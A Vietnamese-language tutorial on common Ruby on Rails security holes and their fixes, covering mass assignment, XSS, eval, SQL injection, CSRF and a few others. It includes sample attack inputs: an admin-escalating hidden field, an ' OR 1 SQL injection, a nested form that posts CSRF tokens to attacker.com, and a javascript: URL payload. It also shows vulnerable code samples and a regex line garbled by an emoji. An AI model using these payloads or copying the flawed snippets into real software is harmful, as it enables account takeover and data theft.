Những lỗ hổng bảo mật thông thường và cách xử lý trong Rails

1. Mở đầu

Ruby on Rails không phải làm một framework bảo mật nhất. Vì vậy khi phát triển bạn phải hiểu rõ những lỗ hổng bảo mật thông thường có thể gặp phải để tìm cách xử lý chúng. Trong bài viết này tôi sẽ nói về một số lỗ hổng bảo mật cũng nhưng các bước để làm cho ứng dụng của bạn được bảo vệ một cách an toàn hơn.

Một số lỗ hổng bảo mật thường gặp phải:

Mass assignment XSS attacks Executing arbitrary code SQL injections Form hijacking Logging private data Revealing private tokens Uploading executable files Using Brakeman to detect possible problems

2. Mass Assignment

Đây có lẽ là lỗ hổng bảo mật phổ biến nhất. Mass Assignment có nghĩa lã một hacker cố gắng để update nhiều field trong cơ sở dữ liệu cùng một lúc bao gồm cả những field không được quyền sửa đổi.

Ví dụ ta có một form edit thông tin người dùng:

<%= form_for @user do |f| %>
  <%= f.label :name %>
  <%= f.text_field :name %>

  <%= f.label :surname %>
  <%= f.text_field :surname %>

  <%= f.submit %>
<% end %>
Và đây là controller:
def update
  @user = User.find(params[:id])
  if @user.update_attributes(params[:user])
    redirect_to some_path
  else
    render :edit
  end
end

Nhìn qua bạn thấy mọi thứ có vẻ hoàn toàn bình thường. Nhưng trong thực thế ở đây có một lỗ hổng bảo mật cực lớn. Nếu user có một cột là admin chẳng hạn, nó có thể dễ dàng bị sửa bởi bất cứ ai với logic của controller trên bằng cách đơn giản chỉ thêm một hidden field như sau:

<input type="hidden" name="user[admin]" value="true">

Bạn nghĩ xem chuyện gì sẽ xảy ra. Giờ hacker đã trở thành một admin của hệ thống. Vì vậy strong parameters đã được giới thiệu ở Rails 4. Với strong parameters bạn có thể list ra chỉ những attributes nào được quyền update bởi người dùng.

def update
  @user = User.find(params[:id])
  if @user.update_attributes(user_params)
    redirect_to some_path
  else
    render :edit
  end
end

private

def user_params
  params.require(:user).permit(:name, :surname)
end

Từ giờ trở đi chỉ có name và surname của user là được phép update (mọi parameter khác đều bị bỏ qua)

Nếu bạn muốn permit tất cả parameter thì chỉ việc sử dụng permit! method:

params.require(:user).permit!

Tuy nhiên phải hết sức thận trọng khi sử dụng nó.

3. XSS Attacks

Không bao giờ tin tưởng bất kỳ dữ liệu nào được gửi bới người dùng trừ khi ứng dụng của bạn được sử dụng bởi một nhóm nhỏ hoặc chỉ sử dùng nội bộ. Trên thực tế, ngay cả trong những trường hợp như vậy cũng không thể tin tưởng 100% vì người dùng hoàn toàn có thể vô tình hoặc nhầm lẫn trong việc gửi thông tin lên server.

Mọi kết quả đầu ra ở trong view của Rails đều được để dưới dạng mặc định kể từ Rails 3. Có một cách để thay đổi bằng cách sử dụng html_safe. (Sử dụng một cách cẩn trọng)


# your controller
@blog_post = current_user.blog_posts.find_by(id: params[:id])

# your view
<%= @blog_post.body.html_safe %>

Nếu bất cứ ai được phép đăng bài viết trên blog, sau đó có một người cố gắng chèn một số dòng mã javascript vào nó và đoạn mã đó sẽ được xử lý như mọi những script khác. Ví dụ một hacker muốn tạo một alert box với mục đích chuyển hướng người dùng tới một nơi khác bằng cách viết lại thuộc tính window.location.href. Thậm trí một vài kẻ tấn công còn có thể nhúng key logger lên trang web của bạn để ăn cắp thông tin của người dùng.

Vì vậy nếu bạn hiện thị một nội dung mà người dùng tạo trên 1 trang, không bao giờ sử dụng phương thức html_safe trực tiếp. Đầu tiên hãy sử dụng phương thức sanitize và chỉ định những thẻ được phép hiển thị (thường là những thẻ sử dụng để format như <b>, <i>, …):

<%= sanitize(@blog_post.body, tags: %w(b strong em i)).html_safe %>

4. Executing Arbitrary Code

Thận trọng khi chạy những dòng code tạo dựa trên thông tin được gửi bởi người dùng. Việc này có thể tạo ra một lỗ hổng thực sự nghiêm trọng. lỗ hổng này có thể xảy ra khi sử dụng các phương thức từ ActiveSupport::Inflector hoặc phương thức eval. Nếu không được sử dụng một cách cẩn thận có thể khiến hệ thống của bạn bị tấn công. Ví dụ dưới đây là cực kỳ thiếu an toàn và không nên sử dụng:

eval(params[:id])

Nếu thực sự cần phải chạy mã do người dùng gửi thì hay chắc rằng validate đầy đủ dữ liệu đó và lập ra danh sách các trường hợp không cho phép.

5. SQL Injection

SQL Injection thường được sử dụng để truy cập hoặc thao tác với những dữ liệu mà người dừng không có quyền thay đổi. Trong hầu hết các trường hợp lập trình viên Rails thường bảo vệ trước tấn công SQL Injection bằng các cách sau:

@user = User.find_by id: params[:id]

các trên được sanitize mặc định (giống như việc sử dụng strong parameters). Tuy nhiên phải nhớ trong trường hợp

@user = User.where("id = '#{params[:id]}'")

thì lại không được sanitize và “không bao giờ được làm như vậy”. Hacker có thể gửi lên server param dưới dạng “http://yoursite.com/user?id=' OR 1 ”. Trong trường hợp này mệnh đề where luôn đúng và sẽ show ra thông tin của tất cả người dùng của hệ thống.

Để đề phòng việc tấn công này chúng ta có thể sử dụng nội suy với ký tự “?” có các truy vấn vấn phức tạp:

@user = User.where("id = ?", params[:id])

Trong trường hợp này input sẽ được sanitize. Ngoài ra với Arel được tích hợp sẵn trong Rails các câu truy vấn có thể viết một cách đơn giản:

@user = User.where("id = ? OR name = ?", params[:id], params[:name])

có thể chuyển thành

@user = User.where(id: params[:id]).or(where(name: params[:name]))

6. Form Hijacking

Hiện Rails 5 đã thêm CSRF token cho mỗi form (là một token cho tất cả các form của Rails 5). Việc này để ngăn hacker chèn thêm mã độc vào nó.

<form method="post" action="//attacker.com/tokens">
  <form method="post" action="/legit_action">
  <input type="hidden" name="authenticity_token" value="thetoken">
</form>

HTML không cho phép các thẻ form lồng nhau. Do vậy những form này sẽ được thay thế bởi các form khác. Khi form được gửi đi, các token ở trong form cũ sẽ được gửi đến trang web của hacker.

Rails 5 cho ta một tùy chọn

config/initializers/new_framework_defaults.rb

Rails.application.config.action_controller.per_form_csrf_tokens = true

7. Revealing Private Tokens

Thường thì ứng dụng của bạn có những biến lưu lại những token dùng để tương tác với bên thứ ba. Điều quan trọng là bạn không được để lộ thông tin những biến này ra ngoài. Cách dễ nhất là đưa nó trở thành biến môi trường và sử dụng gem dotenv-rails. Bạn tạo 1 file .env và đưa những token của bạn vào trong đó:

TWITTER_KEY=abc TWITTER_SECRET=xyz Rails 4 cung cấp cho chúng ta file config/secrets.yml để lưu trữ những token được sử dụng trong môi trường production thông quá biến ENV

production:
  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

8. Logging Private Data

Rails cho phép ta log lại mọi thứ. Nhưng có một vấn đề đôi khi có những thông cá nhân cũng bị lưu lại làm cho bất cứ ai có quyền truy cập đến server đều có thể lấy những thông tin này. Ví dụ như mật khẩu, mã số thẻ, …

Trong file config/initializers/filter_parameter_logging.rb có một thiết lập:

Rails.application.config.filter_parameters += [:password]

Tuy nhiên hay chắc chắc rằng bạn đã config nó nếu ứng dụng của bạn làm việc với những thông tin cá nhân nhạy cảm. String vaf symbol sẽ tự động được chuyển thành cách diễn tả thông thường vì vậy bất cứ filed nào có chứa password sẽ được lọc và thay thế bởi FILTERED.

9. Sending Sensitive Data via HTTP

Các dữ liệu nhạy cảm và quan trọng nên không bao giờ được truyền đi thông qua phương thức HTTP. Ví dụ bạn thiết lập một HTTP basic authentication:

class SomeController < ApplicationController
  before_action :authenticate!
  private
  def authenticate!
    authenticate_or_request_with_http_basic do |id, password|
        name == 'admin' && password == '12345'
    end
  end
end

username và password có thể dễ dàng bị giả mạo bởi công cụ như Wireshark nếu kết nối của bạn không được mã hóa. Bạn phải thực hiện SSL cho controller trên.

class SomeController < ApplicationController
  force_ssl
  before_action :authenticate!
  #...
end

Ngoài ra SSL còn có thể được thiết lập cho toàn bộ ứng dụng bằng cách:

config/application.rb.

config.force_ssl = true

10. Uploading Excutable Files

Rất nhiều ứng dụng cho phép người dùng upload file như ảnh, tài liệu. Tuy nhiên bạn hãy nhớ rằng cần phải validate dung lượng file và được biệt là thận trọng với các file script.

Một hacker có thể tải lên một tập tin nào đó chứa mã độc lên máy chủ của bạn và sẽ chạy tự động dẫn đến những vấn đề nghiêm trọng.

Giải pháp phổ biến nhấp là sử dụng các gem hỗ trợ upload file như Paperclip, Carrierwave, Dragonfly kết hợp với các phương thức validate. Hãy chắc chắn rằng bạn đã kiểm tra file dữ liệu của người dùng trước khi tải lên server.

11. Regular Expressions

Một vài lập trình viên thường coi hai ký tự ^ và $ trong regular expession như là biểu thị cho bắt đầu và kết thúc của một string. Trên thực tế chúng biểu hiện cho bắt đầu và kết thúc của một dòng chứ không phải toàn bộ string. Do vậy regular expression dưới để validate một URL do người dùng nhập vào là không an toàn.

/^https?:\/\/[^\n]+$/i

Hacker có thể nhập vào:

javascript:some_bad_code();/*
http://anything.com
*/

Ví dụ trên sẽ được coi là một URL đúng so với regex ở phía trên. Nếu bạn có một đường link ở view có giá trị @user.website như trên ở view

link_to "User's website", @user.website

bất cứ khi nào click vào nó thì đoạn mã script sẽ được kích hoạt. Để bảo vệ trước lỗ hổng này hãy sử dụng \A và \z để thể hiện bắt đầu và kết thúc của toàn bộ string thay cho ^ và $

/\Ahttps?😕/[^\n]+\z/i Bạn có thể test regular expression một cách đễ dàng tại http://rubular.com/

12. Using Brakeman to Assess Your Application

Brakeman là một gem dùng để quét toàn bộ chương trình của bạn để tìm kiếm các vấn đề bảo mật thông thường.

Gemfile

group :development do
  gem 'brakeman', require: false
end

Bạn có thể dùng lệnh để chạy brakeman. Sau khi hoàn thành brakeman sẽ tạo một báo cáo cho bạn với nhiều định dạng lựa chọn (HTML, Markdown, CSV, JSON, …)

Ví dụ:

$ brakeman -f html hoặc định tên file:

$ brakeman -o output.html Brakeman sẽ đánh dấu các lỗ hổng bảo mật tìm được theo các mức độ High, Medium hoặc Weak. Tuy nhiên công cụ này không phải là hoàn hảo, nó vẫn có thể bỏ xót những vấn đề nguy hiển vì vậy hãy chắc chắn tự mình đánh giá lại ứng dụng của bạn một lần nữa.

13. Tổng kết

Thông qua bài viết này tôi đã giới thiệu cho các bạn một vài lỗ hổng bảo mật thường gặp. Tuy nhiên còn rất nhiều vấn đề khác. Nếu bạn biết những lỗ hổng khác hãy chia sẽ cho mọi người để giúp cho những ứng dụng chúng ta viết ra thật an toàn với người sử dụng. Cảm ơn các bạn đã theo dõi bài viết